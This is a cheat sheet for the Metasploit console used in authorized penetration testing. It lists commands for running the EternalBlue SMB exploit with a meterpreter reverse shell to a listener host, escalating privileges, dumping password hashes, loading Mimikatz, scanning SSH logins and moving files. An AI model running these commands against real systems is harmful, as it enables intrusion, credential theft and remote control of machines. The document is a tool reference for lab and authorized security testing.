msfconsole workflow — search, use, set, exploit, sessions & meterpreter
The Metasploit Framework (msfconsole) for searching modules, configuring exploits and payloads, running sessions, and post-exploitation. For authorized testing only.
msfconsole # launch
msfconsole -q # quiet (no banner)
msfconsole -r script.rc # run a resource script on startup
msfdb init # initialize the PostgreSQL database
Inside the console:
db_status # check DB connectivity
help # list commands
banner # print a random banner / version
version
search type:exploit platform:windows smb
search cve:2017-0144
search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
use 0 # select by index from the last search
info # full module details
back # leave the current module
search filters: type:, platform:, cve:, name:, rank:, author:.
show options # required + optional settings
show targets # target list for the exploit
show payloads # compatible payloads
set RHOSTS 10.10.10.10
set RPORT 445
set LHOST 10.10.14.5
set LPORT 4444
setg RHOSTS 10.10.10.10 # set globally (persists across modules)
unset RPORT # clear a value
set PAYLOAD windows/x64/meterpreter/reverse_tcp
check # test if target is vulnerable (if supported)
run # execute (alias: exploit)
exploit -j # run as a background job
exploit -z # do not interact with the session immediately
run --help
sessions # list active sessions
sessions -l # list (verbose)
sessions -i 1 # interact with session 1
sessions -k 1 # kill session 1
sessions -u 1 # upgrade a shell to meterpreter
background # Ctrl-Z out of a session, keep it open
jobs # list background jobs
jobs -K # kill all jobs
sysinfo # host / OS info
getuid # current user
getsystem # attempt privilege escalation
ps # process list
migrate <PID> # move into another process
shell # drop to a system command shell
hashdump # dump password hashes (needs SYSTEM)
load kiwi # load Mimikatz extension
File / network operations:
download C:\\file.txt /tmp/
upload /tmp/tool.exe C:\\Windows\\Temp\\
cat C:\\Users\\user\\file.txt
ipconfig
portfwd add -l 3389 -p 3389 -r 10.10.10.20 # local port forward
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
run -j
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 10.10.10.0/24
set THREADS 50
run
workspace # list workspaces
workspace -a project1 # add and switch
workspace project1 # switch to one
db_nmap -sC -sV 10.10.10.10 # run nmap and import results
hosts # list discovered hosts
services # list discovered services
services -p 445 # filter by port
creds # stored credentials
vulns # stored vulnerabilities
loot # collected loot
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
use post/windows/gather/enum_logged_on_users
use post/linux/gather/enum_system
setg makes LHOST/RHOSTS stick across modules — set once per engagement.show advanced for extra knobs (e.g. SSL, proxies, timeouts).exploit -j then sessions -i lets you catch multiple shells without blocking.resource script.rc automates repetitive setup; makerc out.rc records your commands.Authorized testing only. Practice on the AYSEC challenges. See also the msfvenom and reverse shell cheat sheets.